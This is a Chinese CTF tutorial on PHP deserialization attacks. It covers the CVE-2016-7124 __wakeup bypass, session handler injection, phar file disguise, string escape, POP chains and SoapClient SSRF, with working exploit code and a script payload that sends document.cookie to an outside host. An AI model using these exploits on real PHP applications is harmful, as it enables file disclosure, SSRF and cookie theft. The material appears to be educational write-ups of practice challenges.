从CTF中学习PHP反序列化的各种利用方式
2020-04-17 10:36:21 Author: xz.aliyun.com(查看原文) 阅读量:275 收藏

出于对php反序列漏洞感兴趣, 遂写一文总结一下在学习PHP反序列化的漏洞过程中遇到的点, 在CTF中有关的漏洞形式几乎是必出

对应的CVE编号: CVE-2016-7124

  • 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
  • 漏洞概述: __wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞
  • 漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过

demo:

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
    var $warn = "No hacker.";
    function __destruct(){
        eval($this->warn);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

可以看到, 这里在进行unserialize时, __wakeup 方法中遍历将对象属性给删除, 导致无法执行eval函数, 造成代码执行, 但是在存在该漏洞的php 版本中, 我们就能绕过这个点, 达到代码执行的效果

首先要知道了是PHP session 的引擎的差异, 这也是导致这个漏洞的根本原因和利用条件

session 的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

有三种方式

  • 默认使用php : 格式 键名|键值(经过序列化函数处理的值)
  • php_serialize: 格式 经过序列化函数处理的值
  • php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

在php.ini 中有如下配置:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

在phpstudy 中, session 文件是存放在extension/tmp/tmp 目录中

第一种, 默认php格式:

<?php
    session_start();
    $_SESSION['name'] = '1FonlY' ;
    var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }

查看session 文件为: name|s:6:"1FonlY";

第二种, php_serialize 格式:

<?php
    ini_set('session.serialize_handler',  'php_serialize');
    session_start();
    $_SESSION['name'] = '1FonlY' ;
    var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }

a:1:{s:4:"name";s:6:"1FonlY";} a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

第三种, php_binary格式:

<?php
    ini_set('session.serialize_handler',  'php_binary');
    session_start();
    $_SESSION['name'] = '1FonlY' ;
    var_dump($_SESSION);
?>

names:6:"1FonlY"; 不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT

session 序列化注入漏洞:

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞

比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;}

如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;} 在使用php_serialize 引擎的时候

序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}

这时,将a:1:{s:4:"name";s:31:" 当做键名, O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击

这个点在之前的高校战疫中就考查过, 利用的就是php session的序列化机制差异导致的注入漏洞

相关题目: http://web.jarvisoj.com:32784/

最初是在 Black Hat 上安全研究员 Same Thomas 分享的议题.phar 反序列化漏洞,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

关于phar 文件的结构解释网上已经有很多了

这里直接贴代码了, 相信很多师傅都是喜欢看代码

<?php
    class TestObject {
    }
    // 生成phar 文件的格式
    @unlink("phar.phar");
    $o = new TestObject();
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

这是我生成的一个exp phar文件, 可以看到我们的payload是序列化存储的

phar 反序列化可以利用的函数

利用时,使用phar://这个协议即可

伪造phar 文件为其他格式

只需要改 文件头 stub即可,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

利用条件

  • phar 文件能够上传
  • 文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤
  • 有可用的魔术方法作为”跳板”

bypass phar:// 不能出现在首部

这时候我们可以利用compress.zlib://compress.bzip2://函数,compress.zlib://compress.bzip2://同样适用于phar://

payload: compress.zlib://phar://phar.phar/test.txt

Postgresql

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能

MySQL

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper.

但是需要修改mysqld配置,因为不是默认配置

[mysqld]
local-infile=1
secure_file_priv=""

0CTF 2016 piapiapia

读完了下载下来的这几个源码后,发现有用的只在 class.php 和 config.php(唯一存在flag字段的内容,说明flag一定是在config.php里面,那么现在的目标就是去读取config.php 的内容)

在register.php 中:

$user->update_profile($username, serialize($profile)); // 必定存在一个序列化操作

在profile.php 中: 存在文件操作函数以及可控的参数 photo ,如果photo 为config.php 就能读取到flag, photo 输出是以base64的形式

$photo = base64_encode(file_get_contents($profile['photo'])); // 如果photo 为 config.php 就可以读取flag

这里的正则过滤掉了where(5) ,如果存在where等字段,就用hacker(6) 来替换

在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化,然后这道题的考点就在这两步操作中的一个很细节的点

在反序列化unserialize() 时,会自动忽略掉能够正确序列化之后的内容( 也就是构造闭合 ),从而忽略掉upload/md5(filename)

通过抓包来看一下数组的中元素的传递的顺序,也是 nickname 是位于photo之前的,所以可以想办法让nickname足够长,把upload那部分字段给”挤出去” 专业术语: 反序列化长度变化尾部字符串逃逸

再来理清一下思路:

  • 要使 photo 字段的内容为 config.php,构造闭合如下

";}s:5:"photo";s:10:"config.php";} 这里一共 34 个字符. 那么在原来的 nickname中的where....where... 一共是170个字符,加上 ";}s:5:"photo";s:10:"config.php";} 后为204个字符,相差34 个字符, 因为正则匹配把where 替换为 hacker ,每替换一个就增加 1个字符,现在用34个where就可以增加34个字符,导致构造的";}s:5:"photo";s:10:"config.php";} 的效果为 ";} 是为了闭合nickname部分.

s:5:"photo";s:10:"config.php";} 而后面这部分,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果

  • 绕过正则表达式和长度限制

使用数组绕过 nickname[]=

payload:

发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag

字符串逃逸还分变长和变短, 原理都差不多的, 遇到了灵活处理

[安洵杯 2019]easy_serialize_php

这里直接看官方WP吧, 写的比我好, 不再总结了

https://xz.aliyun.com/t/6911#toc-3

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

我的理解: POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控,存在危险函数,导致了漏洞,其实也是在代码逻辑上出现的问题

在编写Pop 链的exp的时候, 类的框架几乎不变,只需要做一些修改

例题: MRCTF 2020 Easy pop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这里一共3个类, 故利用起来比较简单, 适合理解

在Modifier类中有__invoke魔术方法,该方法是当以函数的形式去调用一个对象时,触发该函数,然后就会调用append()函数去进行包含

在Show类中有__toString魔术方法,当对象被当做字符串的适合,触发该函数

在Test类中有__get魔术方法, 当读取一个不可访问的属性的值时触发该函数

pop 链逻辑:

  • 在类Show 中, $this->souce 如果是Show 类,就会调用__toString方法
  • __toString方法中 $this->str->source , 如果str为Test类中的属性p, 然后Test类中不存在source属性,就会调用__get方法
  • __get方法将属性p作为函数返回,如果属性pModifier类就会调用__invoke方法, __invoke方法中就会去包含var,从而通过伪协议读取到flag.php

exp:

<?php

class Modifier
{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo 'Welcome to ' . $this->source . "<br>";
    }
    public function __toString()
    {
     return "php serialize";
    }
    public function __wakeup()
    {
     $this->source = new Show();
    }
}

class Test{
    public $p;
    public function __construct()
    {
        $this->p = new Modifier();
    }

}

$a = new Show('flag.php'); // 初始化参数随便
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo urlencode($pop);

SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可

因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf

生成payload:

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

可供练习的例题: LCTF 2018 bestphp's revenge

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : Eustiar
import requests
import re
url = "http://c85b635f-1224-4de2-9b64-de9a2adc0d99.node3.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data)  # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)

这是之前在BJD上一道题目学到点, 以前没遇到过,

php 的原生类中的ErrorException 中内置了toString 方法, 可能造成xss漏洞

当时那个题我没有用原生类,直接用的打cookie一样也能做出来

<?php
$s = $_GET['s'];
echo unserialize($s);
<?php
$s = '<script>var img=document.createElement("img");img.src="http://f7ffa642-8f7f-4879-bc49-e75d26e7c2bc.node3.buuoj.cn/a?"+escape(document.cookie);</script>';
echo serialize($s);

利用原生类:

<?php

$s = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($s));

当然除了上面的漏洞外, 还可以与sql注入, 命令执行等结合,不过原理都差不多, 不再赘述

php 的反序列化漏洞,其实我认为都是一种,就是格式化字符串漏洞,有点类似SQL注入, 改变原有的代码结构而导致漏洞


文章来源: http://xz.aliyun.com/t/7570
如有侵权请联系:admin#unsafe.sh